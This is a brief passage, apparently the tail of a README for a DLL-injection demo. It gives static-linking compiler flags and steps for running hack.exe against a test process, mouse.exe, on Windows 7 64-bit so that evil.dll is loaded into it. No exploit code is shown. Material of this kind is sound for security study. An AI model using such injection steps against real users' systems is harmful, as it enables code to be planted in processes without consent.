-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Run

  • Move evil.dll, mouse.exe, hack.exe to windows 7 64-bit
    Powershell 1:
.\mouse.exe

Powershell 2

.\hack.exe mouse.exe